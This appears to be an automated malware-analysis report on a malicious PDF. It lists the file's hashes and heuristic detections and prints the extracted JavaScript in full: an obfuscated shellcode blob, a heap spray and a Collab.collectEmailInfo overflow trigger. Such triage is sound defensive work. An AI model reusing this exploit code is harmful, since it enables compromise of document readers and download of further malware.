Malicious PDF — malware analysis report

Static analysis result for SHA-256 c8732065b59a5dde…

MALICIOUS

PDF

1.5 KB First seen: 2026-05-10
MD5: 87068807d5d28e9f5fe149b40c7decb0 SHA-1: b6dda1a90314f09a62fbdad945122f82ab715547 SHA-256: c8732065b59a5ddef73cefa6b2a3e448715297730dc72c2ca2aa1d81880f2b0f
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The unescape() function is used, suggesting obfuscation. Two JavaScript files were extracted: javascript_obj111111_000.js and javascript_obj111112_001.js. The presence and obfuscation of JavaScript within a PDF strongly suggest an attempt to execute malicious code, likely for downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    fucuy=unescape(fucuy);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111111_000.js pdf-javascript-stream PDF /JS object 111111 at offset 0x160 2209 bytes
SHA-256: 7d18ed5ae97d0be672fe1c8391ea5fd8b1da3fd03a2e32b3d2b7a24992b8dadc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var fucuy = 'ARG0c0cARG0c0c'.replace(/ARG/g,'%u');
var cmdqkt = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var ezenbsf = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ632FZ6968Z6564Z2E64Z6E69Z662FZ726FZ6D75Z2F31Z2E6CZ687XZ3F7XZ3D69ZXX34Z9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
fucuy=unescape(fucuy);
cmdqkt=unescape(cmdqkt);
ezenbsf=unescape(ezenbsf);
while (cmdqkt.length * 2 < 0x3fffc8-ezenbsf.length * 2){cmdqkt += cmdqkt;}
cmdqkt = cmdqkt.substr(0, (0x3fffc8-ezenbsf.length * 2) / 2);
var jndzaui = new Array();
for (var yzxsxs9 = 0; yzxsxs9 < 47; yzxsxs9 ++ ){jndzaui[yzxsxs9] = cmdqkt + ezenbsf;}
while (fucuy.length < 44952){fucuy += fucuy;}
javascript_obj111112_001.js pdf-javascript-stream PDF /JS object 111112 at offset 0x53F 65 bytes
SHA-256: 582b8e7219e2130b29a75c58772374a483a60b6331c0995614e0f171825d4e82
Preview script
First 1,000 lines of the extracted script
this.collabStore = Collab.collectEmailInfo({subj:"", msg:fucuy});

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